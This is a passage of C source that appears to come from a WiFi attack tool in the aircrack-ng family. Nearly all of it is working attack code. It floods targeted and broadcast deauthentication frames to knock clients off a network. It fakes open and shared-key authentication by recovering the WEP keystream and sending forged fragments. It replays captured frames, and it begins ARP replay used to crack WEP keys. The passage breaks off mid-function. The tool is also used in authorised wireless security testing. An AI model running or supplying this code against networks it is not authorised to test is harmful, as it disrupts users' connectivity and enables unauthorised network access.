        n = sizeof( pkh );

        if( fwrite( &pkh, n, 1, f_cap_out ) != 1 )
        {
        	fclose(f_cap_out);
            perror( "fwrite failed" );
            return( 1 );
        }

        n = pkh.caplen;

        if( fwrite( h80211, n, 1, f_cap_out ) != 1 )
        {
        	fclose(f_cap_out);
            perror( "fwrite failed" );
            return( 1 );
        }

        fclose( f_cap_out );
    }

    return( 0 );
}

int read_prga(unsigned char **dest, char *file)
{
    FILE *f;
    int size;

    if(file == NULL) return( 1 );
    if(*dest == NULL) *dest = (unsigned char*) malloc(1501);

    f = fopen(file, "r");

    if(f == NULL)
    {
         printf("Error opening %s\n", file);
         return( 1 );
    }

    fseek(f, 0, SEEK_END);
    size = ftell(f);
    rewind(f);

    if(size > 1500) size = 1500;

    if( fread( (*dest), size, 1, f ) != 1 )
    {
    	fclose(f);
        fprintf( stderr, "fread failed\n" );
        return( 1 );
    }

    opt.prgalen = size;

    fclose(f);
    return( 0 );
}

void add_icv(uchar *input, int len, int offset)
{
    unsigned long crc = 0xFFFFFFFF;
    int n=0;

    for( n = offset; n < len; n++ )
        crc = crc_tbl[(crc ^ input[n]) & 0xFF] ^ (crc >> 8);

    crc = ~crc;

    input[len]   = (crc      ) & 0xFF;
    input[len+1] = (crc >>  8) & 0xFF;
    input[len+2] = (crc >> 16) & 0xFF;
    input[len+3] = (crc >> 24) & 0xFF;

    return;
}

void send_fragments(uchar *packet, int packet_len, uchar *iv, uchar *keystream, int fragsize, int ska)
{
    int t, u;
    int data_size;
    uchar frag[32+fragsize];
    int pack_size;
    int header_size=24;

    data_size = packet_len-header_size;
    packet[23] = (rand() % 0xFF);

    for (t=0; t+=fragsize;)
    {

    //Copy header
        memcpy(frag, packet, header_size);

    //Copy IV + KeyIndex
        memcpy(frag+header_size, iv, 4);

    //Copy data
        if(fragsize <= packet_len-(header_size+t-fragsize))
            memcpy(frag+header_size+4, packet+header_size+t-fragsize, fragsize);
        else
            memcpy(frag+header_size+4, packet+header_size+t-fragsize, packet_len-(header_size+t-fragsize));

    //Make ToDS frame
        if(!ska)
        {
            frag[1] |= 1;
            frag[1] &= 253;
        }

    //Set fragment bit
        if (t< data_size) frag[1] |= 4;
        if (t>=data_size) frag[1] &= 251;

    //Fragment number
        frag[22] = 0;
        for (u=t; u-=fragsize;)
        {
            frag[22] += 1;
        }
//        frag[23] = 0;

    //Calculate packet length
        if(fragsize <= packet_len-(header_size+t-fragsize))
            pack_size = header_size + 4 + fragsize;
        else
            pack_size = header_size + 4 + (packet_len-(header_size+t-fragsize));

    //Add ICV
        add_icv(frag, pack_size, header_size + 4);
        pack_size += 4;

    //Encrypt
        xor_keystream(frag + header_size + 4, keystream, fragsize+4);

    //Send
        send_packet(frag, pack_size);
        if (t<data_size)usleep(100);

        if (t>=data_size) break;
    }

}

int do_attack_deauth( void )
{
    int i, n;
    int aacks, sacks, caplen;
    struct timeval tv;
    fd_set rfds;

    if(getnet(NULL, 0, 1) != 0)
        return 1;

    if( memcmp( opt.r_dmac, NULL_MAC, 6 ) == 0 )
        printf( "NB: this attack is more effective when targeting\n"
                "a connected wireless client (-c <client's mac>).\n" );

    n = 0;

    while( 1 )
    {
        if( opt.a_count > 0 && ++n > opt.a_count )
            break;

        usleep( 180000 );

        if( memcmp( opt.r_dmac, NULL_MAC, 6 ) != 0 )
        {
            /* deauthenticate the target */

            memcpy( h80211, DEAUTH_REQ, 26 );
            memcpy( h80211 + 16, opt.r_bssid, 6 );

            aacks = 0;
            sacks = 0;
            for( i = 0; i < 64; i++ )
            {
                if(i == 0)
                {
                    PCT; printf( "Sending 64 directed DeAuth. STMAC:"
                                " [%02X:%02X:%02X:%02X:%02X:%02X] [%2d|%2d ACKs]\r",
                                opt.r_dmac[0],  opt.r_dmac[1],
                                opt.r_dmac[2],  opt.r_dmac[3],
                                opt.r_dmac[4],  opt.r_dmac[5],
                                sacks, aacks );
                }

                memcpy( h80211 +  4, opt.r_dmac,  6 );
                memcpy( h80211 + 10, opt.r_bssid, 6 );

                if( send_packet( h80211, 26 ) < 0 )
                    return( 1 );

                usleep( 2000 );

                memcpy( h80211 +  4, opt.r_bssid, 6 );
                memcpy( h80211 + 10, opt.r_dmac,  6 );

                if( send_packet( h80211, 26 ) < 0 )
                    return( 1 );

                usleep( 2000 );

                while( 1 )
                {
                    FD_ZERO( &rfds );
                    FD_SET( dev.fd_in, &rfds );

                    tv.tv_sec  = 0;
                    tv.tv_usec = 1000;

                    if( select( dev.fd_in + 1, &rfds, NULL, NULL, &tv ) < 0 )
                    {
                        if( errno == EINTR ) continue;
                        perror( "select failed" );
                        return( 1 );
                    }

                    if( ! FD_ISSET( dev.fd_in, &rfds ) )
                        break;

                    caplen = read_packet( tmpbuf, sizeof( tmpbuf ), NULL );

                    if(caplen <= 0 ) break;
                    if(caplen != 10) continue;
                    if( tmpbuf[0] == 0xD4)
                    {
                        if( memcmp(tmpbuf+4, opt.r_dmac, 6) == 0 )
                        {
                            aacks++;
                        }
                        if( memcmp(tmpbuf+4, opt.r_bssid, 6) == 0 )
                        {
                            sacks++;
                        }
                        PCT; printf( "Sending 64 directed DeAuth. STMAC:"
                                    " [%02X:%02X:%02X:%02X:%02X:%02X] [%2d|%2d ACKs]\r",
                                    opt.r_dmac[0],  opt.r_dmac[1],
                                    opt.r_dmac[2],  opt.r_dmac[3],
                                    opt.r_dmac[4],  opt.r_dmac[5],
                                    sacks, aacks );
                    }
                }
            }
            printf("\n");
        }
        else
        {
            /* deauthenticate all stations */

            PCT; printf( "Sending DeAuth to broadcast -- BSSID:"
                         " [%02X:%02X:%02X:%02X:%02X:%02X]\n",
                         opt.r_bssid[0], opt.r_bssid[1],
                         opt.r_bssid[2], opt.r_bssid[3],
                         opt.r_bssid[4], opt.r_bssid[5] );

            memcpy( h80211, DEAUTH_REQ, 26 );

            memcpy( h80211 +  4, BROADCAST,   6 );
            memcpy( h80211 + 10, opt.r_bssid, 6 );
            memcpy( h80211 + 16, opt.r_bssid, 6 );

            for( i = 0; i < 128; i++ )
            {
                if( send_packet( h80211, 26 ) < 0 )
                    return( 1 );

                usleep( 2000 );
            }
        }
    }

    return( 0 );
}

int do_attack_fake_auth( void )
{
    time_t tt, tr;
    struct timeval tv, tv2, tv3;

    fd_set rfds;
    int i, n, state, caplen, z;
    int mi_b, mi_s, mi_d;
    int x_send;
    int kas;
    int tries;
    int retry = 0;
    int abort;
    int gotack = 0;
    uchar capa[2];
    int deauth_wait=3;
    int ska=0;
    int keystreamlen=0;
    int challengelen=0;
    int weight[16];
    int notice=0;
    int packets=0;
    int aid=0;

    unsigned char ackbuf[14];
    unsigned char ctsbuf[10];
    unsigned char iv[4];
    unsigned char challenge[2048];
    unsigned char keystream[2048];


    if( memcmp( opt.r_smac,  NULL_MAC, 6 ) == 0 )
    {
        printf( "Please specify a source MAC (-h).\n" );
        return( 1 );
    }

    if(getnet(capa, 0, 1) != 0)
        return 1;

    if( strlen(opt.r_essid) == 0 || opt.r_essid[0] < 32)
    {
        printf( "Please specify an ESSID (-e).\n" );
        return 1;
    }

    memcpy( ackbuf, "\xD4\x00\x00\x00", 4 );
    memcpy( ackbuf +  4, opt.r_bssid, 6 );
    memset( ackbuf + 10, 0, 4 );

    memcpy( ctsbuf, "\xC4\x00\x94\x02", 4 );
    memcpy( ctsbuf +  4, opt.r_bssid, 6 );

    tries = 0;
    abort = 0;
    state = 0;
    x_send=opt.npackets;
    if(opt.npackets == 0)
        x_send=4;

    if(opt.prga != NULL)
        ska=1;

    tt = time( NULL );
    tr = time( NULL );

    while( 1 )
    {
        switch( state )
        {
            case 0:
				if (opt.f_retry > 0) {
					if (retry == opt.f_retry) {
						abort = 1;
						return 1;
					}
					++retry;
				}

                if(ska && keystreamlen == 0)
                {
                    opt.fast = 1;  //don't ask for approval
                    memcpy(opt.f_bssid, opt.r_bssid, 6);    //make the filter bssid the same, that is used for auth'ing
                    if(opt.prga==NULL)
                    {
                        while(keystreamlen < 16)
                        {
                            capture_ask_packet(&caplen, 1);    //wait for data packet
                            z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
                            if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */
                                z+=2;

                            memcpy(iv, h80211+z, 4); //copy IV+IDX
                            i = known_clear(keystream, &keystreamlen, weight, h80211, caplen-z-4-4); //recover first bytes
                            if(i>1)
                            {
                                keystreamlen=0;
                            }
                            for(i=0;i<keystreamlen;i++)
                                keystream[i] ^= h80211[i+z+4];
                        }
                    }
                    else
                    {
                        keystreamlen = opt.prgalen-4;
                        memcpy(iv, opt.prga, 4);
                        memcpy(keystream, opt.prga+4, keystreamlen);
                    }
                }

                state = 1;
                tt = time( NULL );

                /* attempt to authenticate */

                memcpy( h80211, AUTH_REQ, 30 );
                memcpy( h80211 +  4, opt.r_bssid, 6 );
                memcpy( h80211 + 10, opt.r_smac , 6 );
                memcpy( h80211 + 16, opt.r_bssid, 6 );
                if(ska)
                    h80211[24]=0x01;

                printf("\n");
                PCT; printf( "Sending Authentication Request" );
                if(!ska)
                    printf(" (Open System)");
                else
                    printf(" (Shared Key)");
                fflush( stdout );
                gotack=0;

                for( i = 0; i < x_send; i++ )
                {
                    if( send_packet( h80211, 30 ) < 0 )
                        return( 1 );

                    usleep(10);

                    if( send_packet( ackbuf, 14 ) < 0 )
                        return( 1 );
                    usleep(10);

                    if( send_packet( ackbuf, 14 ) < 0 )
                        return( 1 );
                }

                break;

            case 1:

                /* waiting for an authentication response */

                if( time( NULL ) - tt >= 2 )
                {
                    if(opt.npackets > 0)
                    {
                        tries++;

                        if( tries > 15  )
                        {
                            abort = 1;
                        }
                    }
                    else
                    {
                        if( x_send < 256 )
                        {
                            x_send *= 2;
                        }
                        else
                        {
                            abort = 1;
                        }
                    }

                    if( abort )
                    {
                        printf(
    "\nAttack was unsuccessful. Possible reasons:\n\n"
    "    * Perhaps MAC address filtering is enabled.\n"
    "    * Check that the BSSID (-a option) is correct.\n"
    "    * Try to change the number of packets (-o option).\n"
    "    * The driver/card doesn't support injection.\n"
    "    * This attack sometimes fails against some APs.\n"
    "    * The card is not on the same channel as the AP.\n"
    "    * You're too far from the AP. Get closer, or lower\n"
    "      the transmit rate.\n\n" );
                        return( 1 );
                    }

                    state = 0;
                    challengelen = 0;
                    printf("\n");
                }

                break;

            case 2:

                state = 3;
                tt = time( NULL );

                /* attempt to authenticate using ska */

                memcpy( h80211, AUTH_REQ, 30 );
                memcpy( h80211 +  4, opt.r_bssid, 6 );
                memcpy( h80211 + 10, opt.r_smac , 6 );
                memcpy( h80211 + 16, opt.r_bssid, 6 );
                h80211[1] |= 0x40; //set wep bit, as this frame is encrypted
                memcpy(h80211+24, iv, 4);
                memcpy(h80211+28, challenge, challengelen);
                h80211[28] = 0x01; //its always ska in state==2
                h80211[30] = 0x03; //auth sequence number 3
                fflush(stdout);

                if(keystreamlen < challengelen+4 && notice == 0)
                {
                    notice = 1;
                    if(opt.prga != NULL)
                    {
                        PCT; printf( "Specified xor file (-y) is too short, you need at least %d keystreambytes.\n", challengelen+4);
                    }
                    else
                    {
                        PCT; printf( "You should specify a xor file (-y) with at least %d keystreambytes\n", challengelen+4);
                    }
                    PCT; printf( "Trying fragmented shared key fake auth.\n");
                }
                PCT; printf( "Sending encrypted challenge." );
                fflush( stdout );
                gotack=0;
                gettimeofday(&tv2, NULL);

                for( i = 0; i < x_send; i++ )
                {
                    if(keystreamlen < challengelen+4)
                    {
                        packets=(challengelen)/(keystreamlen-4);
                        if( (challengelen)%(keystreamlen-4) != 0 )
                            packets++;

                        memcpy(h80211+24, challenge, challengelen);
                        h80211[24]=0x01;
                        h80211[26]=0x03;
                        send_fragments(h80211, challengelen+24, iv, keystream, keystreamlen-4, 1);
                    }
                    else
                    {
                        add_icv(h80211, challengelen+28, 28);
                        xor_keystream(h80211+28, keystream, challengelen+4);
                        send_packet(h80211, 24+4+challengelen+4);
                    }

                    if( send_packet( ackbuf, 14 ) < 0 )
                        return( 1 );
                    usleep(10);

                    if( send_packet( ackbuf, 14 ) < 0 )
                        return( 1 );
                }

                break;

            case 3:

                /* waiting for an authentication response (using ska) */

                if( time( NULL ) - tt >= 2 )
                {
                    if(opt.npackets > 0)
                    {
                        tries++;

                        if( tries > 15  )
                        {
                            abort = 1;
                        }
                    }
                    else
                    {
                        if( x_send < 256 )
                        {
                            x_send *= 2;
                        }
                        else
                        {
                            abort = 1;
                        }
                    }

                    if( abort )
                    {
                        printf(
    "\nAttack was unsuccessful. Possible reasons:\n\n"
    "    * Perhaps MAC address filtering is enabled.\n"
    "    * Check that the BSSID (-a option) is correct.\n"
    "    * Try to change the number of packets (-o option).\n"
    "    * The driver/card doesn't support injection.\n"
    "    * This attack sometimes fails against some APs.\n"
    "    * The card is not on the same channel as the AP.\n"
    "    * You're too far from the AP. Get closer, or lower\n"
    "      the transmit rate.\n\n" );
                        return( 1 );
                    }

                    state = 0;
                    challengelen=0;
                    printf("\n");
                }

                break;

            case 4:

                tries = 0;
                state = 5;
                if(opt.npackets == -1) x_send *= 2;
                tt = time( NULL );

                /* attempt to associate */

                memcpy( h80211, ASSOC_REQ, 28 );
                memcpy( h80211 +  4, opt.r_bssid, 6 );
                memcpy( h80211 + 10, opt.r_smac , 6 );
                memcpy( h80211 + 16, opt.r_bssid, 6 );

                n = strlen( opt.r_essid );
                if( n > 32 ) n = 32;

                h80211[28] = 0x00;
                h80211[29] = n;

                memcpy( h80211 + 30, opt.r_essid,  n );
                memcpy( h80211 + 30 + n, RATES, 16 );
                memcpy( h80211 + 24, capa, 2);

                PCT; printf( "Sending Association Request" );
                fflush( stdout );
                gotack=0;

                for( i = 0; i < x_send; i++ )
                {
                    if( send_packet( h80211, 46 + n ) < 0 )
                        return( 1 );

                    usleep(10);

                    if( send_packet( ackbuf, 14 ) < 0 )
                        return( 1 );
                    usleep(10);

                    if( send_packet( ackbuf, 14 ) < 0 )
                        return( 1 );
                }

                break;

            case 5:

                /* waiting for an association response */

                if( time( NULL ) - tt >= 5 )
                {
                    if( x_send < 256 && (opt.npackets == -1) )
                        x_send *= 4;

                    state = 0;
                    challengelen = 0;
                    printf("\n");
                }

                break;

            case 6:

                if( opt.a_delay == 0 && opt.reassoc == 0 )
                {
                    printf("\n");
                    return( 0 );
                }

                if( opt.a_delay == 0 && opt.reassoc == 1 )
                {
                    if(opt.npackets == -1) x_send = 4;
                    state = 7;
                    challengelen = 0;
                    break;
                }

                if( time( NULL ) - tt >= opt.a_delay )
                {
                    if(opt.npackets == -1) x_send = 4;
                    if( opt.reassoc == 1 ) state = 7;
                    else state = 0;
                    challengelen = 0;
                    break;
                }

                if( time( NULL ) - tr >= opt.delay )
                {
                    tr = time( NULL );
                    printf("\n");
                    PCT; printf( "Sending keep-alive packet" );
                    fflush( stdout );
                    gotack=0;

                    memcpy( h80211, NULL_DATA, 24 );
                    memcpy( h80211 +  4, opt.r_bssid, 6 );
                    memcpy( h80211 + 10, opt.r_smac,  6 );
                    memcpy( h80211 + 16, opt.r_bssid, 6 );

                    if( opt.npackets > 0 ) kas = opt.npackets;
                    else kas = 32;

                    for( i = 0; i < kas; i++ )
                        if( send_packet( h80211, 24 ) < 0 )
                            return( 1 );
                }

                break;

            case 7:

                /* sending reassociation request */

                tries = 0;
                state = 8;
                if(opt.npackets == -1) x_send *= 2;
                tt = time( NULL );

                /* attempt to reassociate */

                memcpy( h80211, REASSOC_REQ, 34 );
                memcpy( h80211 +  4, opt.r_bssid, 6 );
                memcpy( h80211 + 10, opt.r_smac , 6 );
                memcpy( h80211 + 16, opt.r_bssid, 6 );

                n = strlen( opt.r_essid );
                if( n > 32 ) n = 32;

                h80211[34] = 0x00;
                h80211[35] = n;

                memcpy( h80211 + 36, opt.r_essid,  n );
                memcpy( h80211 + 36 + n, RATES, 16 );
                memcpy( h80211 + 30, capa, 2);

                PCT; printf( "Sending Reassociation Request" );
                fflush( stdout );
                gotack=0;

                for( i = 0; i < x_send; i++ )
                {
                    if( send_packet( h80211, 52 + n ) < 0 )
                        return( 1 );

                    usleep(10);

                    if( send_packet( ackbuf, 14 ) < 0 )
                        return( 1 );
                    usleep(10);

                    if( send_packet( ackbuf, 14 ) < 0 )
                        return( 1 );
                }

                break;

            case 8:

                /* waiting for a reassociation response */

                if( time( NULL ) - tt >= 5 )
                {
                    if( x_send < 256 && (opt.npackets == -1) )
                        x_send *= 4;

                    state = 7;
                    challengelen = 0;
                    printf("\n");
                }

                break;

            default: break;
        }

        /* read one frame */

        FD_ZERO( &rfds );
        FD_SET( dev.fd_in, &rfds );

        tv.tv_sec  = 1;
        tv.tv_usec = 0;

        if( select( dev.fd_in + 1, &rfds, NULL, NULL, &tv ) < 0 )
        {
            if( errno == EINTR ) continue;
            perror( "select failed" );
            return( 1 );
        }

        if( ! FD_ISSET( dev.fd_in, &rfds ) )
            continue;

        caplen = read_packet( h80211, sizeof( h80211 ), NULL );

        if( caplen  < 0 ) return( 1 );
        if( caplen == 0 ) continue;

        if( caplen == 10 && h80211[0] == 0xD4)
        {
            if( memcmp(h80211+4, opt.r_smac, 6) == 0 )
            {
                gotack++;
                if(gotack==1)
                {
                    printf(" [ACK]");
                    fflush( stdout );
                }
            }
        }

        gettimeofday(&tv3, NULL);

        //wait 100ms for acks
        if ( (((tv3.tv_sec*1000000 - tv2.tv_sec*1000000) + (tv3.tv_usec - tv2.tv_usec)) > (100*1000)) &&
              (gotack > 0) && (gotack < packets) && (state == 3) && (packets > 1) )
        {
            PCT; printf("Not enough acks, repeating...\n");
            state=2;
            continue;
        }

        if( caplen < 24 )
            continue;

        switch( h80211[1] & 3 )
        {
            case  0: mi_b = 16; mi_s = 10; mi_d =  4; break;
            case  1: mi_b =  4; mi_s = 10; mi_d = 16; break;
            case  2: mi_b = 10; mi_s = 16; mi_d =  4; break;
            default: mi_b = 10; mi_d = 16; mi_s = 24; break;
        }

        /* check if the dest. MAC is ours and source == AP */

        if( memcmp( h80211 + mi_d, opt.r_smac,  6 ) == 0 &&
            memcmp( h80211 + mi_b, opt.r_bssid, 6 ) == 0 &&
            memcmp( h80211 + mi_s, opt.r_bssid, 6 ) == 0 )
        {
            /* check if we got an deauthentication packet */

            if( h80211[0] == 0xC0 ) //removed && state == 4
            {
                printf("\n");
                PCT; printf( "Got a deauthentication packet! (Waiting %d seconds)\n", deauth_wait );
                if(opt.npackets == -1) x_send = 4;
                state = 0;
                challengelen = 0;
                read_sleep( deauth_wait * 1000000 );
                deauth_wait += 2;
                continue;
            }

            /* check if we got an disassociation packet */

            if( h80211[0] == 0xA0 && state == 6 )
            {
                printf("\n");
                PCT; printf( "Got a disassociation packet! (Waiting %d seconds)\n", deauth_wait );
                if(opt.npackets == -1) x_send = 4;
                state = 0;
                challengelen = 0;
                read_sleep( deauth_wait );
                deauth_wait += 2;
                continue;
            }

            /* check if we got an authentication response */

            if( h80211[0] == 0xB0 && (state == 1 || state == 3) )
            {
                if(ska)
                {
                    if( (state==1 && h80211[26] != 0x02) || (state==3 && h80211[26] != 0x04) )
                        continue;
                }

                printf("\n");
                PCT;

                state = 0;

                if( caplen < 30 )
                {
                    printf( "Error: packet length < 30 bytes\n" );
                    read_sleep( 3*1000000 );
                    challengelen = 0;
                    continue;
                }

                if( (h80211[24] != 0 || h80211[25] != 0) && ska==0)
                {
                    ska=1;
                    printf("Switching to shared key authentication\n");
                    read_sleep(2*1000000);  //read sleep 2s
                    challengelen = 0;
                    continue;
                }

                n = h80211[28] + ( h80211[29] << 8 );

                if( n != 0 )
                {
                    switch( n )
                    {
                    case  1:
                        printf( "AP rejects the source MAC address (%02X:%02X:%02X:%02X:%02X:%02X) ?\n",
                                opt.r_smac[0], opt.r_smac[1], opt.r_smac[2],
                                opt.r_smac[3], opt.r_smac[4], opt.r_smac[5] );
                        break;

                    case 10:
                        printf( "AP rejects our capabilities\n" );
                        break;

                    case 13:
                    case 15:
                        ska=1;
                        if(h80211[26] == 0x02)
                            printf("Switching to shared key authentication\n");
                        if(h80211[26] == 0x04)
                        {
                            printf("Challenge failure\n");
                            challengelen=0;
                        }
                        read_sleep(2*1000000);  //read sleep 2s
                        challengelen = 0;
                        continue;
                    default:
                        break;
                    }

                    printf( "Authentication failed (code %d)\n", n );
                    if(opt.npackets == -1) x_send = 4;
                    read_sleep( 3*1000000 );
                    challengelen = 0;
                    continue;
                }

                if(ska && h80211[26]==0x02 && challengelen == 0)
                {
                    memcpy(challenge, h80211+24, caplen-24);
                    challengelen=caplen-24;
                }
                if(ska)
                {
                    if(h80211[26]==0x02)
                    {
                        state = 2;      /* grab challenge */
                        printf( "Authentication 1/2 successful\n" );
                    }
                    if(h80211[26]==0x04)
                    {
                        state = 4;
                        printf( "Authentication 2/2 successful\n" );
                    }
                }
                else
                {
                    printf( "Authentication successful\n" );
                    state = 4;      /* auth. done */
                }
            }

            /* check if we got an association response */

            if( h80211[0] == 0x10 && state == 5 )
            {
                printf("\n");
                state = 0; PCT;

                if( caplen < 30 )
                {
                    printf( "Error: packet length < 30 bytes\n" );
                    sleep( 3 );
                    challengelen = 0;
                    continue;
                }

                n = h80211[26] + ( h80211[27] << 8 );

                if( n != 0 )
                {
                    switch( n )
                    {
                    case  1:
                        printf( "Denied (code  1), is WPA in use ?\n" );
                        break;

                    case 10:
                        printf( "Denied (code 10), open (no WEP) ?\n" );
                        break;

                    case 12:
                        printf( "Denied (code 12), wrong ESSID or WPA ?\n" );
                        break;

                    default:
                        printf( "Association denied (code %d)\n", n );
                        break;
                    }

                    sleep( 3 );
                    challengelen = 0;
                    continue;
                }

                aid=( ( (h80211[29] << 8) || (h80211[28]) ) & 0x3FFF);
                printf( "Association successful :-) (AID: %d)\n", aid );
                deauth_wait = 3;
                fflush( stdout );

                tt = time( NULL );
                tr = time( NULL );

                state = 6;      /* assoc. done */
            }

            /* check if we got an reassociation response */

            if( h80211[0] == 0x30 && state == 8 )
            {
                printf("\n");
                state = 7; PCT;

                if( caplen < 30 )
                {
                    printf( "Error: packet length < 30 bytes\n" );
                    sleep( 3 );
                    challengelen = 0;
                    continue;
                }

                n = h80211[26] + ( h80211[27] << 8 );

                if( n != 0 )
                {
                    switch( n )
                    {
                    case  1:
                        printf( "Denied (code  1), is WPA in use ?\n" );
                        break;

                    case 10:
                        printf( "Denied (code 10), open (no WEP) ?\n" );
                        break;

                    case 12:
                        printf( "Denied (code 12), wrong ESSID or WPA ?\n" );
                        break;

                    default:
                        printf( "Reassociation denied (code %d)\n", n );
                        break;
                    }

                    sleep( 3 );
                    challengelen = 0;
                    continue;
                }

                aid=( ( (h80211[29] << 8) || (h80211[28]) ) & 0x3FFF);
                printf( "Reassociation successful :-) (AID: %d)\n", aid );
                deauth_wait = 3;
                fflush( stdout );

                tt = time( NULL );
                tr = time( NULL );

                state = 6;      /* reassoc. done */
            }
        }
    }

    return( 0 );
}

int do_attack_interactive( void )
{
    int caplen, n, z;
    int mi_b, mi_s, mi_d;
    struct timeval tv;
    struct timeval tv2;
    float f, ticks[3];
    unsigned char bssid[6];
    unsigned char smac[6];
    unsigned char dmac[6];

read_packets:

    if( capture_ask_packet( &caplen, 0 ) != 0 )
        return( 1 );

    z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
    if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */
        z+=2;

    /* rewrite the frame control & MAC addresses */

    switch( h80211[1] & 3 )
    {
        case  0: mi_b = 16; mi_s = 10; mi_d =  4; break;
        case  1: mi_b =  4; mi_s = 10; mi_d = 16; break;
        case  2: mi_b = 10; mi_s = 16; mi_d =  4; break;
        default: mi_b = 10; mi_d = 16; mi_s = 24; break;
    }

    if( memcmp( opt.r_bssid, NULL_MAC, 6 ) == 0 )
        memcpy( bssid, h80211 + mi_b, 6 );
    else
        memcpy( bssid, opt.r_bssid, 6 );

    if( memcmp( opt.r_smac , NULL_MAC, 6 ) == 0 )
        memcpy( smac, h80211 + mi_s, 6 );
    else
        memcpy( smac, opt.r_smac, 6 );

    if( memcmp( opt.r_dmac , NULL_MAC, 6 ) == 0 )
        memcpy( dmac, h80211 + mi_d, 6 );
    else
        memcpy( dmac, opt.r_dmac, 6 );

    if( opt.r_fctrl != -1 )
    {
        h80211[0] = opt.r_fctrl >>   8;
        h80211[1] = opt.r_fctrl & 0xFF;

        switch( h80211[1] & 3 )
        {
            case  0: mi_b = 16; mi_s = 10; mi_d =  4; break;
            case  1: mi_b =  4; mi_s = 10; mi_d = 16; break;
            case  2: mi_b = 10; mi_s = 16; mi_d =  4; break;
            default: mi_b = 10; mi_d = 16; mi_s = 24; break;
        }
    }

    memcpy( h80211 + mi_b, bssid, 6 );
    memcpy( h80211 + mi_s, smac , 6 );
    memcpy( h80211 + mi_d, dmac , 6 );

    /* loop resending the packet */

	/* Check if airodump-ng is running. If not, print that message */
    printf( "You should also start airodump-ng to capture replies.\n\n" );

    signal( SIGINT, sighandler );
    ctrl_c = 0;

    memset( ticks, 0, sizeof( ticks ) );

    nb_pkt_sent = 0;

    while( 1 )
    {
        if( ctrl_c )
            goto read_packets;

        /* wait for the next timer interrupt, or sleep */

        if( dev.fd_rtc >= 0 )
        {
            if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 )
            {
                perror( "read(/dev/rtc) failed" );
                return( 1 );
            }

            ticks[0]++;
            ticks[1]++;
            ticks[2]++;
        }
        else
        {
            /* we can't trust usleep, since it depends on the HZ */

            gettimeofday( &tv,  NULL );
            usleep( 1000000/RTC_RESOLUTION );
            gettimeofday( &tv2, NULL );

            f = 1000000 * (float) ( tv2.tv_sec  - tv.tv_sec  )
                        + (float) ( tv2.tv_usec - tv.tv_usec );

            ticks[0] += f / ( 1000000/RTC_RESOLUTION );
            ticks[1] += f / ( 1000000/RTC_RESOLUTION );
            ticks[2] += f / ( 1000000/RTC_RESOLUTION );
        }

        /* update the status line */

        if( ticks[1] > (RTC_RESOLUTION/10) )
        {
            ticks[1] = 0;
            printf( "\rSent %ld packets...(%d pps)\33[K\r", nb_pkt_sent, (int)((double)nb_pkt_sent/((double)ticks[0]/(double)RTC_RESOLUTION)));
            fflush( stdout );
        }

        if( ( ticks[2] * opt.r_nbpps ) / RTC_RESOLUTION < 1 )
            continue;

        /* threshold reached */

        ticks[2] = 0;

        if( nb_pkt_sent == 0 )
            ticks[0] = 0;

        if( send_packet( h80211, caplen ) < 0 )
            return( 1 );

        if( ((double)ticks[0]/(double)RTC_RESOLUTION)*(double)opt.r_nbpps > (double)nb_pkt_sent  )
        {
            if( send_packet( h80211, caplen ) < 0 )
                return( 1 );
        }
    }

    return( 0 );
}

int do_attack_arp_resend( void )
{
    int nb_bad_pkt;
    int arp_off1, arp_off2;
    int i, n, caplen, nb_arp, z;
    long nb_pkt_read, nb_arp_tot, nb_ack_pkt;

    time_t tc;
    float f, ticks[3];
    struct timeval tv;
    struct timeval tv2;
    struct tm *lt;

    FILE *f_cap_out;
    struct pcap_file_header pfh_out;
    struct pcap_pkthdr pkh;
    struct ARP_req * arp;

    /* capture only WEP data to broadcast address */

    opt.f_type    = 2;
    opt.f_subtype = 0;
    opt.f_iswep   = 1;

    memset( opt.f_dmac, 0xFF, 6 );

    if( memcmp( opt.r_smac, NULL_MAC, 6 ) == 0 )
    {
        printf( "Please specify a source MAC (-h).\n" );
        return( 1 );
    }

    if(getnet(NULL, 1, 1) != 0)
        return 1;

    /* create and write the output pcap header */

    gettimeofday( &tv, NULL );

    pfh_out.magic         = TCPDUMP_MAGIC;
    pfh_out.version_major = PCAP_VERSION_MAJOR;
    pfh_out.version_minor = PCAP_VERSION_MINOR;
    pfh_out.thiszone      = 0;
    pfh_out.sigfigs       = 0;
    pfh_out.snaplen       = 65535;
    pfh_out.linktype      = LINKTYPE_IEEE802_11;

    lt = localtime( (const time_t *) &tv.tv_sec );

    memset( strbuf, 0, sizeof( strbuf ) );
    snprintf( strbuf,  sizeof( strbuf ) - 1,
              "replay_arp-%02d%02d-%02d%02d%02d.cap",
              lt->tm_mon + 1, lt->tm_mday,
              lt->tm_hour, lt->tm_min, lt->tm_sec );

    printf( "Saving ARP requests in %s\n", strbuf );

    if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL )
    {
        perror( "fopen failed" );
        return( 1 );
    }

    n = sizeof( struct pcap_file_header );

    if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 )
    {
        perror( "fwrite failed\n" );
        return( 1 );
    }

    fflush( f_cap_out );

    printf( "You should also start airodump-ng to capture replies.\n" );

    if(opt.port_in <= 0)
    {
        /* avoid blocking on reading the socket */
        if( fcntl( dev.fd_in, F_SETFL, O_NONBLOCK ) < 0 )
        {
            perror( "fcntl(O_NONBLOCK) failed" );
            return( 1 );
        }
    }

    if ( opt.ringbuffer )
        arp = (struct ARP_req*) malloc( opt.ringbuffer * sizeof( struct ARP_req ) );
    else
        arp = (struct ARP_req*) malloc( sizeof( struct ARP_req ) );

    memset( ticks, 0, sizeof( ticks ) );

    tc = time( NULL ) - 11;

    nb_pkt_read = 0;
    nb_bad_pkt  = 0;
    nb_ack_pkt  = 0;
    nb_arp      = 0;
    nb_arp_tot  = 0;
    arp_off1    = 0;
    arp_off2    = 0;

    while( 1 )
    {
        /* sleep until the next clock tick */

        if( dev.fd_rtc >= 0 )
        {
            if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 )
            {
                perror( "read(/dev/rtc) failed" );
                return( 1 );
            }

            ticks[0]++;
            ticks[1]++;
            ticks[2]++;
        }
        else
        {
            gettimeofday( &tv,  NULL );
            usleep( 1000000/RTC_RESOLUTION );
            gettimeofday( &tv2, NULL );

            f = 1000000 * (float) ( tv2.tv_sec  - tv.tv_sec  )
                        + (float) ( tv2.tv_usec - tv.tv_usec );

